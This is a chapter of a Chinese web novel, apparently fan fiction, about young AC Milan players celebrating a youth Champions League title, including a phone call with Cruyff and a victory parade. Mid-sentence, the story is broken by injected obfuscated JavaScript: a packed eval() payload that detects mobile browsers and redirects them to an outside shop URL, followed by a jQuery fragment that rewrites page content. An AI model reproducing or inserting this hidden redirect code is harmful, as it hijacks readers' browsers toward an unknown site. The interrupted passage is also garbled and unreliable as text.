科洛夫雷体育场的灯光将整座球场照得仿佛白昼一般。

    贺辰站在领奖台上,沉甸甸的金牌挂在他的脖子上,反射出冷冽的光。

    他听见祖卡拉扯着嗓子唱歌,听见桑托罗和贝尔纳迪争论谁的头球更厉害,听见掌声、欢呼声像海浪一般涌过来,一波接一波不停下。

    秦昶注视着青年欧冠的奖杯。

    虽然这么说有点不好,但是真的很像搅拌器。

    不过,奖杯银白色的光泽宛若塞壬的歌声,摄住他的三魂七魄,秦昶的眼睛快要贴在它上面了。

    他从别人手里接过奖杯,手指摩挲了一下奖杯的底座。

    那里刻着细小的文字,记录了年份、赛事名和冠军俱乐部名,连缀成浅浅的溪流,流向他的队友们。

    队友在呼唤他,球迷在呼唤他。

    秦昶深吸一口气——绝不是因为紧张,步子稳稳当当踩在台阶上。

    一级、两级、三级。

    心跳越来越快,越来越响。

    如果他张开嘴巴,一定会有数不清的蝴蝶飞出来。

    他把奖杯举过头顶。

    在这一瞬间,无数彩带喷射而出,红色的、黑色的,闪亮亮的金屑,翻涌向天空,又轻飘飘落下,落在头顶、肩膀和脚边。

    年轻人互相推搡着向秦昶靠近,贺辰站在人群里,被他推一下,又被他撞一下,就这么跌跌撞撞来到秦昶身边。

    贺辰的脸结结实实撞在秦昶的胸脯上。

    眼泪瞬间飙出来,他差点以为自己的鼻梁被撞断了。

    贺辰痛苦地想,这家伙吃什么饲料长大的?凭什么有人肌肉邦硬,壮得像堵墙,而我怎么吃都长不了膘。

    “贺辰,怎么了吗?”秦昶问。

    “……没事。”

    贺辰后退半步,稍微仰起头看着秦昶。

    体育馆的灯光从倾泻下来,把周围所有东西都变暗了,偏偏把他照的清清楚楚。

    皮肤是细腻的白,好像羊脂玉,显得眼角、嘴角的两点痣格外惹眼。秦昶还注意到贺辰的耳垂各插着一根短短的透明小棒,他打了耳洞,怪不得从来没见他碰过耳垂。

    光线从贺辰的眉骨滑落,逆着他眼睛的走势往下坠,路过睫毛,投下窄窄的阴影。他的眼珠是很深很深的黑色,像一潭深水,但在灯光和泪花的妆点下,又有碎钻在游。

    秦昶忽然不知道该往哪里看了。

    周围的一切都变成模糊的背景,只有贺辰仰起的脸是清晰的。

    他不知道自己的心为什么跳的比捧杯时还快,喉咙发紧,嘴巴也有点干。

    我为什么会有这种反应?

    他灵魂出窍一般接受采访,和人合照,跟爸爸妈妈说话,追着祖卡拉踢他屁股。

    等意识重新回到身体里,他已经坐在了更衣室里,手里攥着金牌,金牌被他的体温捂透了。

    秦昶环顾四周。

    祖卡拉正拿着香槟到处喷,贝内迪西奇拉着皮纳托跳舞,贝尔纳迪非得表演钻垃圾桶里,西米奇引吭高歌,情感极丰沛。

    也有安静的人,比如桑托罗坐在角落跟家人打视频。

    但贺辰不在。

    他去哪了?

    让我们把镜头转向卫生间。

    走进球员通道,嘈杂的声音被过滤掉不少,贺辰被喜悦填满的大脑重新工作,才想起来自己还没跟约翰说上话。

    然后他开始纠结。

    米兰踢了巴萨一个4:0,多么熟悉的比分啊,约翰年纪大了,会不会心梗啊?

    我现在找他会不会不太好?

    可约翰是一个67岁的大人了,跟我这个未成年计较什么。

    那发短信还是打电话?

    按理说应该发短信,可我想听约翰的声音。

    于是,贺辰按下拨号键。

    电话接通,贺辰语无伦次地说:“约翰我看到你了,你能来真是太好了……我们啊我是说米兰赢了,我进了球,你看到了么?还有、还有我和队友的配合……”

    “我都看见了。”

    “……你生气了?”半晌,贺辰小声问。

    “我确实气巴萨不争气,但今晚你们的表现无可挑剔,各方面都表现出色,这场胜利是你们应得的。”

    贺辰嘴角快咧到耳朵根了。

    “你现在在哪里?”

    “在回去的路上。”克鲁伊夫说,“太晚了。”

    “是,你岁数大了,又在恢复期,我要求你来现场还是太无礼了。”

    千里之外,克鲁伊夫刻薄的话语传进贺辰的耳朵里。“别把自己想的太重要,没有人可以逼我做我不想做的事。”

    “你在安慰我么?”

    克鲁伊夫沉默了很久,说:“好好庆祝吧,我挂了。”

    “嗯嗯,约翰你注意身体,好好养病,我夏天去看你。”

    电话挂断了。

    贺辰边给苏女士发短信,向她分享胜利的喜悦,边踱到洗手池前洗手。

    他洗完手,一抬头,看着镜子里的荷兰三剑客,心里咯噔一下。

    三人站姿各异,但表情出奇地一致,都想知道克鲁伊夫得了什么病。

    贺辰不禁眼前发黑。

    大概一年前,克鲁伊夫确诊了肺癌,好消息是可以通过化疗治愈。这件事约翰只告诉了家人,贺辰是误打误撞知道的。

    也许是他表情惊恐,动作僵硬,半天没有说话,里杰卡尔德皱起眉问:“是很严重的病吗?”

    “不是!是、是基础病!人上了岁数就是会得各种各样的病啊,况且约翰还做过心脏手术。”

    “真的吗?”

    “当然是真的了!人与人之间最基本的信任呢?”贺辰一边控诉,眼神往四周瞟。

    他忽然想到办法了。

    他说:“而且那是约翰的身体,你们如果想知道,应该去问约翰。”

    此话一出,古利特和里杰卡尔德一起看向范巴斯滕。贺辰抓住机会,矮身从他们之间窜出去,两条腿倒腾得飞快,一眨眼就没影了。

    “这孩子……我又不会吃了他。”古利特无奈地笑笑。

    里杰卡尔德则从贺辰的落荒而逃中品出几分不对劲来,摩挲着下巴说:“不对劲。如果只是基础病,他反应为什么这么大?”

    “不如去问问约翰?”在场唯一没跟约翰闹掰过(存疑)的古利特提议。

    范巴斯滕沉默不语。

    贺辰一直跑到更衣室从觉得安全。

    他推开更衣室的门,一脚踏进欢腾中。

    祖卡拉拉不知什么时候站到了门后,手里拿着一个小型礼炮。贺辰进门的瞬间,他拉响礼炮,彩带

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841249|208974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    落了贺辰一身。

    “贺,我们等你好久了!!”他扯着嗓子喊。

    有敌袭?

    贺辰被喷了一脸彩带,愣住了,看着有些呆呆的。

    “好了好了,别折腾我们今晚的MVP了,他已经够累了。”马斯塔利吊着一条胳膊过来解围,牵着贺辰的手带他坐下——马斯塔利误以为贺辰喘粗气是还没恢复过来,其实是刚经历一场逃亡。

    等缓过来,贺辰看见因扎吉被围在人群中间。

    装了一整个赛季的教练终于能丢掉稳重的皮,露出球疯子的激情。

    他的西装已经被香槟浸透了,头发乱七八糟翘着,领带松松垮垮挂在脖子上,还有彩带粘在他的肩膀上,闪着光。

    太棒了,太棒了,太完美了。

    虽然没获得联赛冠军,但人生最重要的是知足常乐。新手教练带着一群娃娃菜,能取得这样的成绩已经很好了,超乎所有人的预期。

    “实在是你个人能力出色。”秦昶夸道。

    贺辰不以为然:“太夸张了,足球是集体活动,单凭我一个人怎么可能走到这里。”

    “我倒觉得队长说得对。”桑托罗插话,“贺,你现在招呼一声,说‘能拿冠军我是最大功臣’,没人觉得你说的有错。”

    贺辰尬笑两声。

    他怀疑桑托罗想看自己被人打死。

    这可不是在更衣室,而是游行。

    大巴车慢悠悠行驶在路上。

    前来参加游行的人把街道围了个水泄不通。

    放眼望去,到处是红黑色。

    旗帜在头顶飘扬,围巾被高高举起,有人放了烟雾弹,红色的烟雾顺着风的方向弥漫,像浓稠的颜料涂抹在天蓝色的画布上。

    贺辰倚着最后排的栏杆坐着,身旁是秦昶、桑托罗等不那么闹腾的人。

    他们把上半身探出去,跟球迷互动。

    挥手、击掌,给球迷扔上来的球衣签名再扔回去。

    祖卡拉站在车头的位置大喊:“有没有音乐?!来点音乐!!”

    贺辰摸了摸自己的口袋,指尖碰到冰凉的金属外壳——全队送给他的生日礼物,口琴。

    今天早上,苏嘉平把它塞给他,理由是“万一用得上呢”。当时他还不明白游行为什么要用口琴,现在看来,苏女士有未卜先知的能力。

    他把口琴掏出来,举到嘴边。

    吹什么呢?

    《MilanMilan》的前奏响起。

    金属颤音给几段旋律裹上柔软的蜜,像散场后走在路上,胜利的狂喜冷却下来,变成融化的方糖,甜蜜蜜地蒙在心上。

    祖卡拉眼睛一亮,跟着旋律哼唱。

    周围人也加入这场合奏。

    桑托罗用手打拍子,秦昶的手指在栏杆上敲击,里奇拿着两个空瓶子敲啊敲,比安科拿出指挥人墙的架势,指挥球迷整齐地挥舞围巾。

    口琴的旋律像一根细线,把每个人串在一起。

    尽管,这是胜利带来的爱,仍然让他觉得舒服。

    贺辰闭上眼睛,隔着眼睑感受流动的暖洋洋的光线。

    让时间定格在此刻吧。他想。

    停在这辆慢悠悠的大巴上,停在口琴的余韵还没有完全散去的此刻,停在所有人都在笑、闹,被同一阵风吹拂着的今天。